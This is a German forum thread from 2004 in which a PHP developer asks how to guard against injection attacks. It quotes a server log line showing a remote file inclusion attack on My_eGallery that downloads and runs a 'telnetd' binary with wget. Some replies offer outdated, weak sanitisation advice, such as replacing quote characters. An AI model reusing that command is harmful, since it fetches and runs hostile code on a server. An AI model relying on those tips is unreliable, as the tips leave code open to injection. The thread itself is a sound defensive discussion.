Page 1 of 1

Injections vorbeugen

Posted: 2004-01-05 14:47
by relativity
Bin eben erneut auf das Thema my_Egallery gestossen welches immernoch dazu
führt das jemand Source über eine PHP Injection ausführen kann auf einem
Server.

Code: Select all

200.158.98.178 - - [24/Dec/2003:03:22:57 +0100] "GET /modules/My_eGallery/public/displayCategory.php?
basepath=http://www.jesusaleluia.iwebland.com/dcphp3.gif?&cmd=cd%20/tmp;wget%20www.fdlsk8.hpg.ig.com.br/telnetd;chmod%20777%20telnetd;./telnetd HTTP/1.1" 200 3063
Meine Gedanken führten nun dazu, das ich mir mal meinen eigenen Source
angesehen habe, da ich auch diverse Variablen benutze, und
mir nun langsam Sorgen mache ob ich meinem eigenen Source
noch vertraue oder nicht.

Bin kein totaler Anfänger mehr in Sachen PHP, denke also ich kann
die gröbsten Fehler bereits ausschliessen die gemacht werden können
allerdings plagt mich noch eine gewisse Unsicherheit.

Habe auf die Variablen diverse Checks gemacht:
- ereg_replace von ' durch ´
- ereg_replace von ; durch :
- htmlspecialchars
- htmlentities


nun ist meine frage ob ich irgendwas grundlegendes vergessen habe
oder ob es noch andere möglichkeiten gibt, wie man solche injections
verhindern kann.

danke im voraus

Re: Injections vorbeugen

Posted: 2004-01-05 15:08
by oxygen
mod_security

Re: Injections vorbeugen

Posted: 2004-01-05 15:20
by captaincrunch
http://www.tldp.org/HOWTO/Secure-Progra ... O/php.html

(sowie das gesamte genannte Howto sonst auch ;) )

Re: Injections vorbeugen

Posted: 2004-01-05 15:23
by relativity
hab keinen zugriff auf die apache config.
daher wollte ich direkt innerhalb des source
codes dem ganzen vorbeugen. deswegen steht
es im PHP Forum und net bei Webserver. :?

Re: Injections vorbeugen

Posted: 2004-01-07 18:23
by neox
es gibt noch

- escapeshellcmd() und
- escapeshellarg() (schliesst den string in '' ein)

das mit dem Ersetzen von ";" ist ne gute Idee. Würde aber str_replace() verwenden, weils schneller ist.

was bringt das Ersetzen von ' zu ` ??

cu nEox

Re: Injections vorbeugen

Posted: 2004-01-27 00:18
by pedä
nEox wrote: was bringt das Ersetzen von ' zu ` ??
beugt einer mysql-injection vor..

grüssels
pedä

Re: Injections vorbeugen

Posted: 2004-01-27 12:16
by gamecrash
Wäre da nicht ein pauschales addslashes() für Text und intval() für Zahlen sinniger?